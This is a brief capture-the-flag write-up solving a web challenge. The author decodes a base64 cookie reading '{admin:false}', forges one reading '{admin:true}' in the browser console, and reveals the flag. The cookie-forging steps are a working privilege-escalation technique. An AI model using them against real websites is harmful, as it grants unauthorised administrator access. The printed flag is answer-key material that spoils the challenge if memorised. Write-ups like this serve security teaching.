First, we examine the site's cookies by typing document.cookie into the developer console.One of the cookies is named "coookie" and contains the datae2FkbWluOmZhbHNlfQ%3D%3D%3D is the percent encoding for an equals sign, so our data must bee2FkbWluOmZhbHNlfQ==Which can be decoded to>>> import base64>>> base64.b64decode('e2FkbWluOmZhbHNlfQ==')>>> {admin:false}using python.To trick the website into thinking we are an admin, we change the cookie to the base64 encoded string "{admin:true}">>> base64.b64encode(b'{admin:true}')>>> e2FkbWluOnRydWV9In the developer console, we edit the cookie by typingdocument.cookie="coookie=e2FkbWluOnRydWV9"We refresh the page and see our flagABCTF{don't_trust_th3_coooki3}